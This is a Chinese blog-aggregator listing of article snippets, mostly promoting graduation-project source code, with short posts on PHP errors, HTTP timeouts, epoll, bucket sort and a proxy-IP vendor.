文章浏览阅读2.1k次,点赞31次,收藏22次。基于微信小程序奶茶点餐外卖系统设计与实现(PHP后台+Mysql)可行性分析毕设源代码毕业设计,数据安全和系统稳定性以及团队能力和资源配备方面都具备较好的条件。因此,该项目的可行性较高。:黄菊华老师《Vue.js入门与商城开发实战》《微信小程序商城开发》图书作者,CSDN博客专家,在线教育专家,CSDN钻石讲师;微信小程序作为一种快捷、方便的移动应用形式,成为很多用户点餐外卖的首选。项目的界面和功能都可以定制,包安装运行!项目配有对应开发文档、开题报告、任务书、PPT、论文模版等。
文章浏览阅读1.8k次,点赞52次,收藏38次。本文主要通过对系统的前台系统和后台管理系统进行了功能性需求分析,对系统的安全性和可扩展性进行了非功能性需求分析。在详细的需求分析的基础上,根据系统的功能设计确定了数据库结构,实现完整的代码编写。Lucky+Baby母婴用品网站使用 Dreamweaver、HBuilder代码编辑器、Apache服务器等开发工具,完成了系统的主要模块的页面设计和功能实现。本文展示了首页页面的实现效果图,并通过代码和页面介绍了用户注册功能、商品搜索功能、生成订单和查看我的订单功能、在线付款功能功能的实现过程。
文章浏览阅读1.5k次,点赞45次,收藏40次。本设计主要实现集人性化、高效率、便捷等优点于一身的人事信息管理系统,完成首页、系统用户、通知公告、部门信息、员工薪资、考勤签到、员工请假、招聘信息、应聘信息等功能模块。
文章浏览阅读1k次。该错误通常出现在数据库读取结果集数据时,比如当我们写好SQL语句从数据库读取数据时,本身应该返回结果集,再给结果集中读取数据。解决思路:这种错误一般是因为echo后面输出了一个数组导致的,或者是数组作为字符串进行拼接运算时导致的。该错误直译为:警告:mysqli_fetch_assoc函数期望参数1是mysqli的结果集,但是给了一个布尔值。这种错误是PHP解析器在解析时遇到了语法错误,直译为:解析错误:语法错误,意料之外的...该错误直译为:提示:未定义的索引:username。_array to string conversion in
文章浏览阅读2.7w次。解决http请求报错context deadline exceeded (Client.Timeout exceeded while awaiting headers)_context deadline exceeded (client.timeout exceeded while awaiting headers)
文章浏览阅读1.3k次,点赞26次,收藏24次。复杂网络是一种由大量相互连接的元素(节点或顶点)组成的网络结构,这些连接通常是非常复杂和动态的。这些网络可以在各种领域中发现,包括社交网络、生物学系统、信息技术和交通系统等。_代理建模
文章浏览阅读2.6k次,点赞76次,收藏71次。epoll详解,事件模型,ET/LT模式,并通过三个示例进行代码实现。
文章浏览阅读3.3k次。罗拉ROLA-IP是一家来自纽约的代理IP提供商,由李嘉诚先生投资建设,韩国人工智能、自动驾驶、虚拟现实方面的领军企业World IT Show投资入股,由美国纽约大学IT管理教授团队研究开发,进入中国市场6年多,全世界设有多个分子公司。接下来,我们要检查代理和防火墙的设置,因为在绝大多数情况下,它们是导致这个错误的原因,尤其是当用户使用免费代理时。对网站的访问受阻实际上是一个非常常见的错误,它既可能是由于物理原因(硬件问题)造成的,也可能是由于软件错误引起的。检查代理设置,并确保其正确配置。_无法访问此网站,检查代理服务器和防火墙
文章浏览阅读1.1k次,点赞14次,收藏20次。本系统带文档lw万字以上文末可领取本课题的JAVA源码参考。_php洗车服务预约管理系统php源码
文章浏览阅读1.1k次。桶排序是计数排序的升级版。它利用了函数的映射关系,高效与否的关键就在于这个映射函数的确定。同时,对于桶中元素的排序,选择何种比较排序算法对于性能的影响至关重要。
文章浏览阅读936次,点赞22次,收藏17次。本系统带文档lw万字以上文末可领取本课题的JAVA源码参考。
文章浏览阅读822次,点赞15次,收藏14次。在整个设计过程中,要确定可能的具体解决方案,以实现每一个小的最终目标,对于每一个小目标,我们首先必须了解一些相关的需求分析信息。除了以上作品下面是2023-2024年最新100套计算机专业原创的毕业设计源码+数据库,是近期作品,如果你的题目刚好在下面可以文末领取java源码参考。springboot基于springboot的在线考试系统。springboot基于springboot的商城购物系统。springboot基于微信小程序的智慧校园设计与实现。springboot基于用户的协同过滤算法的话题推荐。